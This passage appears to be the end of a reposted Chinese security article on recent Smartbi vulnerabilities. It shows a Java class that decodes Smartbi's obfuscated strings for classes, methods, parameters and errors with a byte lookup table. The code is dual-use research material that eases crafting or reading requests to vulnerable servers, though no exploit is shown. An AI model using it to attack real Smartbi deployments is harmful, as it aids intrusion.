class decode { private static byte[] decodeArray = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37, 113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0, 0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65, 33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102, 0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79, 101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0};
public decode() { }
public byte[] strToByteArrayByUTF8(String dataStr) { try { return dataStr.getBytes("UTF-8"); } catch (UnsupportedEncodingException var2) { throw new SmartbiException(CommonErrorCode.UNKOWN_ERROR, var2); } }
public byte[] decode(byte[] dataByte) { int i = 0;
for(int j = 0; j < dataByte.length; ++j) { byte tmp = dataByte[i]; if (tmp > 0 && tmp < decodeArray.length) { byte encodeChar = decodeArray[tmp]; if (encodeChar != 0) { dataByte[i] = encodeChar; } }
++i; } return dataByte; }
public String byteArrayToStrByUTF8(byte[] dataByte) { try { return new String(dataByte, "UTF-8"); } catch (UnsupportedEncodingException var2) { throw new SmartbiException(CommonErrorCode.UNKOWN_ERROR, var2); } }}

通过以上的两个函数,就可以完成对于类,方法,参数的加密和解密过程,同时也可以对报错的结果进行加密和解密。

0x04 

原文始发于微信公众号(小黑说安全):Smartbi近期漏洞系列详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日00:16:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Smartbi近期漏洞系列详解http://cn-sec.com/archives/2300630.html

发表评论

匿名网友 填写信息